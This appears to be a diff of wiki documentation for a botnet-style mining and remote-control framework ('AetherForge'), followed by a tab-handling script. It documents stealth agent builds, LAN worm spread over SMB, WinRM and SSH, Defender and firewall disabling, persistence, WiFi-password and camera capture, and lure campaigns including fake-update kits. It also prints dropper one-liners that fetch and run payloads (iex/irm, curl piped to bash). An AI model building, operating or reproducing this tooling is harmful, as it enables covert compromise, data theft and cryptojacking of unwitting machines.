<tr><td><code>ipconfig</code> / <code>wifi</code> / <code>clipboard</code></td><td>Network / WiFi / clipboard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>kill_process</code></td><td>Kill PID (<code>command</code> field)</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Files</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Guards</th></tr></thead>
<tbody>
<tr><td><code>list_dir</code> / <code>read_file</code></td><td>Remote browse + read (512 KB cap)</td><td>System-root guards</td></tr>
<tr><td><code>upload</code> / <code>download</code></td><td>Transfer files</td><td>Auth via dashboard</td></tr>
<tr><td><code>push_desktop</code></td><td>Deploy to <code>@desktop/</code></td><td></td></tr>
<tr><td><code>delete_path</code> / <code>move_path</code></td><td>File ops</td><td>No dirs / system roots</td></tr>
<tr><td><code>secure_wipe</code></td><td>Overwrite-then-delete folder</td><td>Confirm in UI; aggressive</td></tr>
</tbody>
</table>
<h3>Network, spread &amp; tunnels</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>spread_now</code></td><td>Trigger LAN spread sweep</td><td><span class="wiki-status windows">Windows/Linux</span> — SMB WinRM / SSH</td></tr>
<tr><td><code>spread_status</code></td><td>Last sweep in-memory JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>subnet_scan</code></td><td>Active subnet discovery</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>smb_shares</code></td><td>ARP/subnet → <code>net view</code> JSON</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>hole_punch*</code></td><td>UPnP IGD port map</td><td><span class="wiki-status working">Working</span> — needs <code>hole_punch</code> forge flag</td></tr>
<tr><td><code>tunnel_cloudflared</code></td><td>Outbound Cloudflare tunnel</td><td><span class="wiki-status windows">Windows agent</span> — server launcher Win-only</td></tr>
<tr><td><code>tunnel_ssh_forward</code></td><td>SSH local forward matrix</td><td><span class="wiki-status windows">Windows</span></td></tr>
<tr><td><code>tunnel_wireguard</code> / <code>wg_*</code></td><td>WireGuard setup (Path Tracer)</td><td><span class="wiki-status windows">Windows</span> — Linux/macOS agent stub</td></tr>
<tr><td><code>tunnel_status</code> / <code>tunnel_stop</code></td><td>Query / stop tunnels</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>tunnel_stream</code></td><td>TCP reverse relay over WS</td><td><span class="wiki-status disabled">Not implemented</span></td></tr>
<tr><td><code>mesh_status</code></td><td>P2P peer count</td><td><span class="wiki-status partial">Stub</span> without <code>-tags p2p</code></td></tr>
</tbody>
</table>
<h3>Firewall, persistence &amp; registry (aggressive)</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Notes</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>firewall_punch</code> / <code>firewall_off</code> / <code>firewall_on</code></td><td>netsh / ufw / iptables</td><td><span class="wiki-status working">Working</span> — macOS firewall stub</td></tr>
<tr><td><code>firewall_profiles</code> / <code>firewall_remove</code></td><td>Profile toggles + rule cleanup</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>defender_off</code></td><td>Windows Defender disable attempt</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>bits_persist</code> / <code>host_binary_persist</code></td><td>BITS job / host-binary hijack</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>registry_read</code> / <code>write</code> / <code>delete</code></td><td>Allowlisted hives</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>credential_vault_list</code></td><td>Credential Manager / Keychain / secret-tool names</td><td><span class="wiki-status working">Working</span> — names only</td></tr>
<tr><td><code>get_wifi_passwords</code></td><td>Saved WiFi profiles</td><td><span class="wiki-status windows">Windows-focused</span></td></tr>
<tr><td><code>encrypt_path</code> / <code>sys_crypt</code></td><td>Path encryption ops</td><td><span class="wiki-status working">Working</span> — confirm in UI</td></tr>
</tbody>
</table>
</section>
<!-- 4. Forge -->
@@ -249,6 +416,53 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
</tbody>
</table>
<h3>Builder workflow from blank form to archived artifact</h3>
<ol>
<li><strong>Choose the target profile.</strong> Start with one OS/arch unless you specifically need a multi-platform ZIP.</li>
<li><strong>Set the runtime identity.</strong> Worker name, server URL, and output directory are the fields that shape how the build is tracked later.</li>
<li><strong>Review defaults from Calibrate.</strong> The builder inherits server-side defaults; only override fields that truly differ for this build.</li>
<li><strong>Run preflight mentally before compile.</strong> Confirm output path, signing configuration, and any packaging choices.</li>
<li><strong>Compile once, then archive the result.</strong> Every successful build is copied into <code>data/builds/{build-id}/</code> so the Build Manager becomes the source of truth.</li>
</ol>
<h3>Builder field families</h3>
<table class="wiki-table">
<thead><tr><th>Family</th><th>What it controls</th><th>Where it shows up later</th></tr></thead>
<tbody>
<tr><td>Identity</td><td>Worker name, build naming, archive labels</td><td>Build Manager, agent cards, audit log, install funnel</td></tr>
<tr><td>Target</td><td>OS, architecture, output type</td><td>Artifact file names, launcher scripts, compatibility checks</td></tr>
<tr><td>Connectivity</td><td>Server URL and fallback URLs</td><td>Install instructions, QR codes, download links, runtime connection path</td></tr>
<tr><td>Packaging</td><td>Universal ZIP, spread-kit export, fusion packaging</td><td>Artifact archive, download endpoints, size estimates</td></tr>
<tr><td>Signing</td><td>Thumbprint, timestamp URL, signing tool path</td><td>Post-build artifact treatment and estimate notes</td></tr>
<tr><td>Blueprints</td><td>Saved form presets</td><td>Re-forge flow, repeatable operator workflows</td></tr>
</tbody>
</table>
<h3>Blueprint discipline</h3>
<p>
Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
not just a draft.
</p>
<h3>Build Manager relationship</h3>
<p>
The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
Build Manager is your release shelf.
</p>
<h3>Safe operator checklist before pressing build</h3>
<ul>
<li>Use a reachable <code>server_url</code>; prefer the actual LAN or public endpoint instead of localhost.</li>
<li>Keep output names predictable so archived builds are readable weeks later.</li>
<li>Use single-platform builds for quick iteration; use universal output only when distribution really needs it.</li>
<li>Confirm signing inputs before compile if the environment expects signed artifacts.</li>
<li>After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.</li>
</ul>
<h3>Forge simple mode — spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
@@ -280,6 +494,106 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<h3>Cancel in-flight compile</h3>
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
<h3>Operation modes (Forge skins)</h3>
<p>Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:</p>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Intent</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Ghost Walk</td><td>Stealth, garble, no spread — quiet LAN worker</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open Flame</td><td>Visible console + file logs — lab debugging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Sigil Mask</td><td>Prep fusion + garble + sigil scramble</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Hearth Whisper</td><td>Idle mining, persistence, no aggressive ops</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wildfire</td><td>USB + LAN spread + remote aggressive</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Crucible Storm</td><td>Remote aggressive + mesh + hole punch</td><td><span class="wiki-status partial">Partial</span> — mesh needs <code>-tags p2p</code> re-forge</td></tr>
</tbody>
</table>
<h3>Path Forge</h3>
<p>
<code>POST /api/v1/builder/path-forge</code> walks a server-side directory and drops OS launchers next to every
file (hint file excluded from placement count). Mac targets require <code>server_url</code> at forge time.
Output uses <code>/api/download/agent-*</code> at runtime. <strong>Working</strong> on Windows server; validate
paths before batch runs.
</p>
</section>
<!-- 4b. Mission Deck -->
<section id="mission-deck">
<h2>Mission Deck</h2>
<p>
Route <code>/mission-deck</code> — the <strong>fast path</strong> when you already know the rough shape of
the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
fields, then <strong>Equip &amp; Strike</strong> once. The page forges the agent, exports a spread-kit ZIP
when the loadout requires it. Copy install one-liners from <strong>Builds</strong> when the run finishes.
</p>
<p>
<strong>When to use which:</strong> Mission Deck = preset loadout + one-click pipeline. Forge
(<code>/forge</code>) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
(<code>/emberwake</code>) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
Deck or Forge first. Builds (<code>/builds</code>) = download artifacts, pin the dropper, and copy pinned
one-liners anytime.
</p>
<h3>Automated pipeline (3 steps)</h3>
<ol>
<li><strong>Apply loadout presets</strong> — operation chip + spread profile + worker, server URL, wallet</li>
<li><strong>Build agent installer</strong><code>POST /api/v1/builder/build</code> with presets applied</li>
<li><strong>Package spread-kit ZIP</strong><code>POST /api/v1/builder/spread-kit-export</code> when spread profile demands it; then open <strong>Builds</strong> for install one-liners</li>
</ol>
<h3>Operation chips</h3>
<table class="wiki-table">
<thead><tr><th>Chip</th><th>Maps to</th><th>Use when</th></tr></thead>
<tbody>
<tr><td>Ghost</td><td>Ghost Walk</td><td>Stealth home-lab worker, no spread</td></tr>
<tr><td>Loud</td><td>Open Flame</td><td>Debugging — visible logs</td></tr>
<tr><td>Spread</td><td>Wildfire + spread profile</td><td>USB/LAN propagation wave</td></tr>
</tbody>
</table>
<h3>Spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper + install scripts (default campaign slug)</li>
<li><strong>Desktop Fusion</strong> — prep or movie fusion packaging</li>
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
<li><strong>Crucible Ops</strong><code>remote_aggressive</code> for dashboard tunnels and firewall suite</li>
</ul>
<p>Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.</p>
</section>
<!-- 4c. Build Manager -->
<section id="build-manager">
<h2>Build Manager</h2>
<p>
Route <code>/builds</code> — operational inventory for every forged artifact. The Builder creates; Build
Manager tracks what is pinned, public, and ready for dropper one-liners.
</p>
<h3>Per-build actions</h3>
<table class="wiki-table">
<thead><tr><th>Action</th><th>API / behaviour</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Download exe / ZIP</td><td><code>GET /api/v1/builds/{id}/download</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Download artifact</td><td><code>GET /api/v1/builds/{id}/artifact/{name}</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Uninstall script</td><td><code>GET /api/v1/builds/{id}/uninstall</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Pin build</td><td><code>PUT /api/v1/builds/{id}/pin</code> — dropper serves pinned binary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public toggle</td><td><code>PUT /api/v1/builds/{id}/public</code> — login drawer + public API</td><td><span class="wiki-status working">Working</span> (wired 2026-06-06)</td></tr>
<tr><td>Re-forge</td><td>Pre-fills Forge form; confirmation required</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Delete record</td><td><code>DELETE /api/v1/builds/{id}</code> — DB only; archive file may remain</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN QR</td><td>Encodes worker download URL for mobile scan</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Dropper behaviour</h3>
<ul>
<li><strong>Pinned:</strong> <code>/get</code>, <code>/install.ps1</code>, <code>/install.sh</code> always serve the pinned build</li>
<li><strong>Unpinned:</strong> most recently forged build wins</li>
<li><strong>Public builds:</strong> <code>GET /api/v1/public/builds</code> lists pinned + public-flagged + latest 3 (or all when <code>public_builds_enabled</code>)</li>
</ul>
<pre><code>iex (irm 'http://YOUR-DECK:8989/install.ps1')
curl -sL http://YOUR-DECK:8989/install.sh | bash
http://YOUR-DECK:8989/get?pin={build_id}&amp;c=campaign-slug</code></pre>
</section>
<!-- 5. Spread & Campaigns -->
@@ -294,7 +608,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<p>
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.
build chains. Step-by-step playbooks: <a href="SPREAD_TECHNIQUES.html">Spread Techniques</a>
(tabbed) · research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
Operator UI: <a href="/emberwake">Emberwake</a>.
</p>
<h3>Dropper endpoints (unauthenticated)</h3>
@@ -465,23 +781,7 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
</p>
<h3>Platform matrix</h3>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
<tbody>
<tr><td>RandomX CPU mining</td><td></td><td></td><td></td></tr>
<tr><td>GPU RVN (T-Rex / TRM)</td><td></td><td>stub</td><td>stub</td></tr>
<tr><td>Screenshot</td><td>✅ GDI+</td><td>✅ scrot/import</td><td>✅ screencapture</td></tr>
<tr><td>Camera</td><td>✅ ffmpeg</td><td>✅ V4L2/ffmpeg</td><td>stub</td></tr>
<tr><td>File browser (Crucible)</td><td></td><td></td><td></td></tr>
<tr><td>USB / WMI spread</td><td></td><td></td><td></td></tr>
<tr><td>SMB / WinRM spread</td><td></td><td></td><td></td></tr>
<tr><td>SSH lateral spread</td><td></td><td></td><td></td></tr>
<tr><td>Firewall aggressive ops</td><td>✅ netsh</td><td>✅ ufw/iptables</td><td>stub</td></tr>
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
</tbody>
</table>
<p>Full cross-platform matrix: <a href="#platform-matrix">Platform Matrix</a>.</p>
<h3>Staged modules (runtime feature packs)</h3>
<p>
@@ -575,6 +875,45 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
<p>Accurate feature parity across worker OS targets. Status labels match code audit (<code>PROBLEMS.md</code>).</p>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
<tbody>
<tr><td>RandomX CPU mining</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>GPU RVN (T-Rex / TRM)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — detects GPU, downloads Win .exe</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Idle schedule guard</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — /proc/stat</td><td><span class="wiki-status working">Working</span> — sysctl</td></tr>
<tr><td>Screenshot</td><td><span class="wiki-status working">Working</span> GDI+</td><td><span class="wiki-status working">Working</span> scrot/import</td><td><span class="wiki-status working">Working</span> screencapture</td></tr>
<tr><td>Camera</td><td><span class="wiki-status working">Working</span> ffmpeg</td><td><span class="wiki-status working">Working</span> V4L2</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>File browser (Crucible)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB / WMI spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SMB / WinRM spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SSH lateral spread</td><td></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Firewall aggressive ops</td><td><span class="wiki-status working">Working</span> netsh</td><td><span class="wiki-status working">Working</span> ufw/iptables</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>KEV exposure scan</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">n/a</span></td><td><span class="wiki-status stub">n/a</span></td></tr>
<tr><td>Path Tracer <code>wg_setup</code></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span></td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Mesh P2P (<code>mesh_status</code>)</td><td><span class="wiki-status partial">Needs -tags p2p</span></td><td>same</td><td>same</td></tr>
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
<tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Docker E2E agent</td><td></td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td></td></tr>
</tbody>
</table>
<h3>Control server (operator PC)</h3>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th></tr></thead>
<tbody>
<tr><td>Forge / compile agents</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — cross-compile</td></tr>
<tr><td>cloudflared auto-launch</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — manual tunnel</td></tr>
<tr><td>Authenticode signing</td><td><span class="wiki-status working">Working</span> signtool</td><td><span class="wiki-status working">Working</span> osslsigncode</td></tr>
</tbody>
</table>
</section>
<!-- 8. Alerts & AI -->
<section id="alerts-ai">
<h2>Alerts &amp; AI (Ollama)</h2>
@@ -613,6 +952,107 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</div>
</section>
<!-- 8b. Calibrate -->
<section id="calibrate">
<h2>Calibrate (Settings)</h2>
<p>
Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
fleet policy push and staged modules).
</p>
<h3>Core server</h3>
<table class="wiki-table">
<thead><tr><th>Setting</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Listen port / data dir</td><td>Default <code>8989</code>, <code>data/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public URL</td><td>LAN/tunnel URL for Forge + droppers</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard subtitle</td><td>Hero text on Command Deck</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Default wallet / pool</td><td>Seeds new Forge forms only</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>public_builds_enabled</code></td><td>Expose all builds on public API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_agents</code></td><td>Reject WS auth when fleet full</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_build_size_mb</code></td><td>Forge API size guard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>strict_wallet_validation</code></td><td>Server-side wallet check on forge</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stats_retention_hours</code> / <code>build_retention_days</code></td><td>Auto-purge jobs (6h)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>websocket_ping_seconds</code></td><td>WS hub ping interval</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>pool_reconnect_seconds</code></td><td>Stratum proxy reconnect delay</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_agent_connections</code> / <code>log_share_submissions</code></td><td>WS hub logging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_pool_traffic</code></td><td>Verbose Stratum wire log</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open firewall on start</td><td>Inbound rule for listen port</td><td><span class="wiki-status windows">Windows server</span></td></tr>
</tbody>
</table>
<h3>Fleet alerts &amp; tasks</h3>
<ul>
<li><strong>Fleet Alerts</strong> — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds</li>
<li><strong>Telegram + SMTP</strong> — per-event matrix; <code>POST /api/v1/alerts/test</code></li>
<li><strong>KEV exposure notify</strong> — optional ping on critical Full Sys Check indicators</li>
<li><strong>Fleet Tasks</strong><code>on_connect</code>, <code>on_reconnect</code>, <code>interval_hours</code>, daily <code>cron</code> (<code>HH:MM</code>)</li>
<li>Task actions: <code>sysinfo</code>, <code>full_sys_check</code>, <code>powershell</code>, <code>exec</code>, <code>pause</code>, <code>resume</code>, <code>restart</code></li>
</ul>
<h3>Fleet policy &amp; staged modules</h3>
<ul>
<li><strong>Fleet Policy</strong><code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
<li><strong>Staged Modules</strong><code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
<li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
</ul>
<h3>Tunnels &amp; signing defaults</h3>
<ul>
<li><strong>Cloudflare Tunnel Token</strong> — saved to <code>config.json</code> + <code>data/cloudflared-token.txt</code>; server starts <code>cloudflared tunnel run</code> on launch (<span class="wiki-status windows">Windows server auto-launch</span>; Linux server stub)</li>
<li><strong>tunnel_defaults.cloudflared_target_url</strong> — defaults from <code>server.public_url</code></li>
<li><strong>Forge pipeline</strong> — garble default, Authenticode thumbprint, timestamp URL, signtool path</li>
</ul>
<h3>Users &amp; backup</h3>
<ul>
<li><strong>Users</strong> — bcrypt in <code>data/users.json</code>; <code>POST /api/v1/users</code> adds accounts</li>
<li><strong>Fleet secret rotation</strong><code>POST /api/v1/server/rotate-secret</code> kicks agents; re-forge required</li>
<li><strong>Deck backup</strong><code>GET /api/v1/backup</code> ZIP (config + DB + users)</li>
<li><strong>Operator audit</strong><code>GET /api/v1/audit</code> (last 50 actions)</li>
</ul>
<p>Inline field help in the UI mirrors these settings — see HelpTip icons on Forge and Calibrate forms.</p>
</section>
<!-- 8c. Path Tracer -->
<section id="path-tracer">
<h2>Path Tracer</h2>
<p>
Route <code>/pathtracer</code> — multi-hop WireGuard chain builder for reaching agents through intermediate
fleet nodes. Sessions auto-expire after <strong>2 hours</strong> with background <code>wg_teardown</code>.
</p>
<h3>Workflow</h3>
<ol>
<li>Select online fleet agents as hops (entry → middle → exit)</li>
<li><code>POST /api/v1/pathtrace/start</code> — server orchestrates <code>wg_setup</code> / <code>wg_configure</code> on each hop</li>
<li>Poll <code>GET /api/v1/pathtrace/{id}/status</code> until <code>ready</code></li>
<li>Download QR or <code>.conf</code> via <code>GET /api/v1/pathtrace/{id}/qr</code> — import into WireGuard app</li>
<li><code>DELETE /api/v1/pathtrace/{id}</code> tears down session</li>
</ol>
<h3>Topology (fixed 2026-06-04)</h3>
<ul>
<li>Hop 1 receives client peer <code>10.66.0.1/32</code></li>
<li>Single-hop chains no longer get empty peer lists</li>
<li>Multi-hop adds reverse peers on middle and exit hops</li>
<li>Hop names resolve from fleet DB <code>AgentName</code> (fallback <code>hop-N</code>)</li>
</ul>
<h3>Platform notes</h3>
<table class="wiki-table">
<thead><tr><th>Component</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Windows agent <code>wg_setup</code></td><td><span class="wiki-status working">Working</span> — may auto-download WireGuard on first use</td></tr>
<tr><td>Linux/macOS agent <code>wg_setup</code></td><td><span class="wiki-status stub">Stub</span> — returns error; pre-install WireGuard manually</td></tr>
<tr><td>Server orchestration API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard Path Tracer page</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<p>Pair with <code>tunnel_wireguard</code> agent command for per-node tunnels outside Path Tracer sessions.</p>
</section>
<!-- 9. Security & Auth -->
<section id="security-auth">
<h2>Security &amp; Auth</h2>
@@ -730,6 +1170,30 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
<tr><td>POST</td><td><code>/api/v1/builder/wordpress-plugin-export</code></td><td>ZIP WordPress plugin for owned-site upload</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/npm-helper-export</code></td><td>ZIP npm postinstall helper package template</td></tr>
<tr><td>WS</td><td><code>/ws/agent</code></td><td>Worker connection</td></tr>
<tr><td>GET</td><td><code>/api/v1/shares</code></td><td>Recent share feed</td></tr>
<tr><td>GET</td><td><code>/api/v1/dashboard/stats</code></td><td>Aggregate dashboard stats</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/info</code></td><td>LAN IPs, suggested URL</td></tr>
<tr><td>GET</td><td><code>/api/v1/server/ready</code></td><td>Readiness probe</td></tr>
<tr><td>GET</td><td><code>/api/v1/ai/activity</code></td><td>AI decision log</td></tr>
<tr><td>GET</td><td><code>/api/v1/fleet/modules</code></td><td>List staged module manifests</td></tr>
<tr><td>PUT</td><td><code>/api/v1/fleet/policy</code></td><td>Push runtime mining policy</td></tr>
<tr><td>POST</td><td><code>/api/v1/fleet/modules/push</code></td><td>Queue <code>fetch_module</code></td></tr>
<tr><td>GET</td><td><code>/api/v1/agents/{id}/log</code></td><td>Agent log (90s long-poll with <code>refresh=1</code>)</td></tr>
<tr><td>PUT</td><td><code>/api/v1/agents/{id}/meta</code></td><td>Notes / tags</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/agents/{id}</code></td><td>Remove agent from fleet DB</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/estimate</code></td><td>Pre-forge size/time estimate</td></tr>
<tr><td>POST</td><td><code>/api/v1/builder/path-forge</code></td><td>Batch launcher placement</td></tr>
<tr><td>GET/POST/DELETE</td><td><code>/api/v1/blueprints</code></td><td>Forge blueprint CRUD</td></tr>
<tr><td>GET/PUT</td><td><code>/api/v1/emberwake/notes</code></td><td>Shared operator notes</td></tr>
<tr><td>POST</td><td><code>/api/v1/pathtrace/start</code></td><td>Start WireGuard chain session</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/status</code></td><td>Path Tracer session status</td></tr>
<tr><td>GET</td><td><code>/api/v1/pathtrace/{id}/qr</code></td><td>WireGuard QR + conf</td></tr>
<tr><td>DELETE</td><td><code>/api/v1/pathtrace/{id}</code></td><td>Teardown session</td></tr>
<tr><td>POST</td><td><code>/api/v1/server/rotate-secret</code></td><td>Rotate fleet secret</td></tr>
<tr><td>POST</td><td><code>/api/v1/users</code></td><td>Add dashboard user</td></tr>
<tr><td>GET</td><td><code>/api/v1/backup</code></td><td>Full deck backup ZIP</td></tr>
<tr><td>POST</td><td><code>/api/v1/agent/beacon</code></td><td>HTTPS beacon (fleet secret header)</td></tr>
<tr><td>GET</td><td><code>/api/download/agent-{windows,linux,mac}</code></td><td>Agent binaries for Seek / PathForge</td></tr>
<tr><td>WS</td><td><code>/ws/dashboard?ticket=…</code></td><td>Live dashboard feed</td></tr>
</tbody>
</table>
@@ -834,13 +1298,19 @@ test.bat # full suite</code></pre>
<h3>Spread / Emberwake gaps</h3>
<ul>
<li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
<li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
<li>No built-in OAuth redirect helper or public npm/PyPI publish pipeline</li>
<li>No JS fingerprint / TDS bot gate on spread landers</li>
<li>SocGholish-style fake-update HTML kit — operator supplies custom branding</li>
</ul>
<h3>Server (low)</h3>
<h3>Server / agent (open)</h3>
<ul>
<li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
<li><code>tunnel_stream</code> TCP reverse relay — not implemented</li>
<li>Server <code>cloudflared</code> auto-launch — Windows only; Linux server needs manual tunnel</li>
<li><code>bof_execute</code> — permanently disabled</li>
<li>Mesh P2P — default build stub; re-forge with <code>-tags p2p</code></li>
<li>Linux/macOS GPU RVN — broken (Windows miner binaries)</li>
<li><code>server/webroot</code> not auto-synced on <code>npm run build</code> — run <code>devrun.bat</code></li>
</ul>
<p>See <code>PROBLEMS.md</code> for the full fixed/open tables with issue IDs (B-01B-13, API-D01D10, etc.).</p>

View File

@@ -0,0 +1,58 @@
(function () {
const tabButtons = document.querySelectorAll('[data-spread-tab]');
const panels = document.querySelectorAll('[data-spread-panel]');
function activateTab(tabId, pushHash) {
tabButtons.forEach((btn) => {
const active = btn.getAttribute('data-spread-tab') === tabId;
btn.classList.toggle('active', active);
btn.setAttribute('aria-selected', active ? 'true' : 'false');
});
panels.forEach((panel) => {
const show = panel.getAttribute('data-spread-panel') === tabId;
panel.hidden = !show;
panel.classList.toggle('active', show);
});
if (pushHash !== false) {
history.replaceState(null, '', '#' + tabId);
}
const sub = document.getElementById(window.location.hash.slice(1));
if (sub && sub.closest('[data-spread-panel="' + tabId + '"]')) {
window.setTimeout(() => sub.scrollIntoView({ behavior: 'smooth', block: 'start' }), 60);
}
}
tabButtons.forEach((btn) => {
btn.addEventListener('click', () => activateTab(btn.getAttribute('data-spread-tab')));
});
document.querySelectorAll('.wiki-nav a[href^="#"]').forEach((link) => {
link.addEventListener('click', (e) => {
e.preventDefault();
const id = link.getAttribute('href').slice(1);
const panel = document.querySelector('[data-spread-panel="' + id + '"]');
if (panel) {
activateTab(id);
} else {
const el = document.getElementById(id);
const tabId = el?.closest('[data-spread-panel]')?.getAttribute('data-spread-panel');
